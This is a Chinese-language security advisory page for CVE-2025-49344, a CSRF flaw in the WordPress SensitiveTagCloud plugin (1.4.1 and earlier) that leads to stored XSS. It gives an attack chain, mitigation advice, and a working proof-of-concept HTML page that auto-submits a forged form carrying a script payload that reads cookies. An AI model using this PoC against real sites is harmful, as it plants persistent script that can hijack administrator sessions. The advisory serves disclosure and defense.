IPBUF安全漏洞报告
English
CVE-2025-49344 CVSS 7.1 高危

CVE-2025-49344 WordPress SensitiveTagCloud插件CSRF漏洞导致存储型XSS

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-49344
漏洞类型
CSRF + 存储型XSS
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress SensitiveTagCloud插件

相关标签

CSRF存储型XSSWordPress插件漏洞SensitiveTagCloud跨站脚本攻击会话劫持CVE-2025-49344高危漏洞

漏洞概述

CVE-2025-49344是WordPress SensitiveTagCloud(敏感标签云)插件中的一个跨站请求伪造(CSRF)漏洞,该漏洞可导致存储型跨站脚本(Stored XSS)攻击。该插件版本从n/a至1.4.1均受影响。攻击者可以通过构造恶意请求,诱骗已认证的管理员或用户在不知情的情况下执行非法操作,从而在网站页面中注入恶意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问受影响页面的用户都会受到攻击,可能导致会话劫持、敏感信息窃取、恶意重定向等严重安全问题。该漏洞无需特殊权限即可发起攻击,但需要用户交互(点击恶意链接或访问恶意页面)。CVSS评分7.1,属于高危漏洞。

技术细节

该漏洞存在于SensitiveTagCloud插件的标签管理功能中。插件在处理用户提交的标签数据时,未正确验证请求的来源和合法性,导致存在CSRF缺陷。攻击者可以构造一个包含恶意JavaScript代码的表单,诱使已登录的管理员或用户在不知情的情况下提交。当恶意标签数据被保存到数据库后,任何访问包含该标签的页面都会触发存储型XSS攻击。由于WordPress插件通常在管理员后台和前台页面都会输出标签数据,攻击影响范围较广。攻击者可以利用此漏洞窃取管理员Cookie、劫持用户会话、修改网站内容或进行进一步的内网渗透。漏洞的利用条件是目标用户必须处于登录状态并访问攻击者构造的恶意页面。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的CSRF PoC页面
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程等方式诱骗已登录的管理员或用户访问恶意页面
STEP 3
步骤3
受害者的浏览器自动向目标WordPress站点发送携带其认证Cookie的恶意请求
STEP 4
步骤4
插件未正确验证请求来源,将包含<script>标签的恶意数据保存到数据库
STEP 5
步骤5
任何用户访问包含该标签的页面时,恶意JavaScript代码被执行
STEP 6
步骤6
攻击者通过XSS窃取用户Cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-49344 --> <!-- Stored XSS via SensitiveTagCloud plugin --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-49344</title> </head> <body> <h1>CSRF PoC for SensitiveTagCloud Plugin</h1> <p>This PoC demonstrates a CSRF vulnerability leading to Stored XSS.</p> <form action="http://target-site/wp-admin/admin.php?page=sensitive-tag-cloud" method="POST" id="csrfForm"> <input type="hidden" name="action" value="save_tag"> <input type="hidden" name="tag_name" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="tag_slug" value="malicious-tag"> <input type="hidden" name="nonce" value=""> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see an alert with cookies, the XSS is triggered.</p> </body> </html>

影响范围

SensitiveTagCloud插件 <= 1.4.1

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1) 临时禁用或删除SensitiveTagCloud插件;2) 启用WordPress的CSRF保护功能;3) 使用Web应用防火墙(WAF)规则阻止可疑请求;4) 加强对管理员账户的安全管理,使用强密码和双因素认证;5) 监控网站日志关注异常请求模式;6) 限制非管理员用户对插件功能页面的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表